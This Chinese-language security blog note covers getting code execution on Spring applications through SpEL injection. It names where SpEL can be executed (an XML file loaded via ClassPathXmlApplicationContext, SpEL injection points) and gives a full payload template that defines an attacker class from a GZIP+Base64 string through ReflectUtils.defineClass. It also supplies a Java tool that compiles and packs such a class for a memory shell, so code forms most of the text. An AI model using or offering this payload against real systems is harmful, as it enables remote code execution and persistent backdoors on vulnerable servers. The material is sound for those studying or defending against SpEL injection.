仅适用于能够执行SPEL表达式的情况
这里跟前面CC+TemplatesImpl的区别在于,到达defineClass的方法不同了,前面都是通过反序列化,而这里是直接通过SPEL表达式。所以这里的主要目标是:怎么样才能执行SPEL
首先说一下哪些地方能执行SPEL:
1、写入xml,然后通过ClassPathXmlApplicationContext进行加载 (临时文件法,其他任意写漏洞)
2、存在SPEL注入的地方,能调用SPEL的地方
3、。。。还不知道
1 2 3 4 5 6 7
| T(org.springframework.cglib.core.ReflectUtils). defineClass('org.springframework.expression.Test', T(org.apache.commons.io.IOUtils).toByteArray (new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream (T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))), T(java.lang.Thread).currentThread().getContextClassLoader(),null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))
|
这里做了GZIP解压,因为不压缩的话,表达式长度超过10000,会触发报错,所以需要先行压缩一下。
除了T(org.apache.commons.io.IOUtils).toByteArray,还可以使用T(org.springframework.util.StreamUtils).copyToByteArray,后者更普适一些。
压缩用脚本,需要修改javaFilePath和javacPath变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package com.test;
import java.io.*; import java.util.Base64; import java.util.ArrayList; import java.util.List; import java.util.zip.GZIPOutputStream;
public class Zip {
public static void main(String[] args) { String javaFilePath = "Test.java"; String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class"; String outputFilePath = "SpELMemShell.txt";
try { compileJavaFile(javaFilePath);
if (!new File(classFilePath).exists()) { throw new FileNotFoundException("The compiled class file was not generated."); }
String base64String = compressAndEncodeClassFile(classFilePath);
writeToFile(outputFilePath, base64String); } catch (IOException e) { System.err.println("Error processing the file: " + e.getMessage()); } }
private static void compileJavaFile(String javaFilePath) throws IOException { String javacPath = "D:\\sec_software\\jdks\\jdk-17.0.6\\bin\\javac.exe";
List<String> command = new ArrayList<>(); command.add(javacPath); command.add("-g:none"); command.add("-Xlint:unchecked"); command.add("-Xlint:deprecation"); command.add(javaFilePath);
ProcessBuilder processBuilder = new ProcessBuilder(command); Process process = processBuilder.start();
try { int exitCode = process.waitFor(); if (exitCode != 0) { BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); String line; while ((line = errorReader.readLine()) != null) { System.err.println(line); } throw new RuntimeException("Compilation failed with exit code " + exitCode); } } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException("Compilation interrupted", e); } }
private static String compressAndEncodeClassFile(String classFilePath) throws IOException { byte[] classData = readFile(classFilePath);
byte[] compressedData = compress(classData);
String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);
System.out.println("Original Base64 encoded string length: " + classData.length); System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());
return encodedCompressedData; }
private static byte[] readFile(String filePath) throws IOException { try (FileInputStream fis = new FileInputStream(filePath)) { byte[] data = new byte[fis.available()]; fis.read(data); return data; } }
private static byte[] compress(byte[] data) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) { gzos.write(data); } return baos.toByteArray(); }
private static void writeToFile(String filePath, String content) throws IOException { try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) { writer.write(content); } }
private static String getClassNameFromJavaPath(String javaFilePath) { String fileName = new File(javaFilePath).getName(); return fileName.substring(0, fileName.indexOf('.')); } }
|
参考
https://mp.weixin.qq.com/s/xfmHjgx5jQRLKkIR7XUCcg